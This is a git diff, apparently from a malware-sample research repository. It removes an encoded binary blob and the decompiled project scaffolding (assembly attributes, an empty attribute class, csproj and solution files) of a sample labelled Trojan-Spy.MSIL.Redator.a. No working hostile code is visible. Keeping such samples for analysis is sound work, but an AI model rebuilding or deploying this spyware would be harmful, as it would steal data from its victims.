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 bXuz3IPdgc={ol(bM(&>z?$C7db8=pOk0cGl diff --git a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/{ec6fbd32-3576-4d40-b4a5-7808ea9cda7f} b/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/{ec6fbd32-3576-4d40-b4a5-7808ea9cda7f} deleted file mode 100644 index 84c6271ac90e218dfb26fc5b2e6e7d9fe573c42a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 460 zcmV;-0W^`L4CA-+LSYd_$tBpH3I!j~5FlMX&A z*|Ht0BPSZ+{rnb>s7j)82UMD7D1=jO$*&Xl_Oz@(2sS?xm(!02sSoZ2k0zRAXpUTz zlKataj~l-vdYf$7B}gPXGE(&o=IqnTZv1Epq1y`bS8#b)uP_R!)d1%Y;^WO}M6kyOl$Go%DJuZM`lhFdh62% z$ar=gp$(;RqB7^y>{6&1*K?rJLxwM@bf!ulwlFz5h6}9<;x*_dzparaa1Juw!I#Qt C+TlU~ diff --git a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/AssemblyInfo.cs b/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/AssemblyInfo.cs deleted file mode 100644 index 5f6cdccb..00000000 --- a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/AssemblyInfo.cs +++ /dev/null @@ -1,8 +0,0 @@ -using SmartAssembly.Attributes; -using System.Reflection; -using System.Runtime.InteropServices; - -[assembly: Guid("ad39d0c0-1d24-40c4-beb1-2e699594e1fc")] -[assembly: PoweredBy("Powered by {smartassembly}")] -[assembly: AssemblyFileVersion("2.1.1.1")] -[assembly: AssemblyVersion("2.1.1.1")] diff --git a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/SmartAssembly/Attributes/PoweredByAttribute.cs b/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/SmartAssembly/Attributes/PoweredByAttribute.cs deleted file mode 100644 index d566274e..00000000 --- a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/SmartAssembly/Attributes/PoweredByAttribute.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SmartAssembly.Attributes.PoweredByAttribute -// Assembly: Stub, Version=2.1.1.1, Culture=neutral, PublicKeyToken=null -// MVID: EC6FBD32-3576-4D40-B4A5-7808EA9CDA7F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db.exe - -using System; - -namespace SmartAssembly.Attributes -{ - public sealed class PoweredByAttribute : Attribute - { - public PoweredByAttribute(string s) - { - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/Trojan-Spy.MSIL.Redator.a.csproj b/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/Trojan-Spy.MSIL.Redator.a.csproj deleted file mode 100644 index c2deb8bf..00000000 --- a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/Trojan-Spy.MSIL.Redator.a.csproj +++ /dev/null @@ -1,68 +0,0 @@ - - - - - Debug - AnyCPU - {5E448193-7ECB-4476-94D6-2238D816EDC1} - WinExe - Stub - 2.1.1.1 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/Trojan-Spy.MSIL.Redator.a.sln b/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/Trojan-Spy.MSIL.Redator.a.sln deleted file mode 100644 index ee73b6cc..00000000 --- a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/Trojan-Spy.MSIL.Redator.a.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Stub", "Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db.csproj", "{5E448193-7ECB-4476-94D6-2238D816EDC1}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {5E448193-7ECB-4476-94D6-2238D816EDC1}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {5E448193-7ECB-4476-94D6-2238D816EDC1}.Debug|Any CPU.Build.0 = Debug|Any CPU - {5E448193-7ECB-4476-94D6-2238D816EDC1}.Release|Any CPU.ActiveCfg = Release|Any CPU - {5E448193-7ECB-4476-94D6-2238D816EDC1}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/_0001/_0001.cs 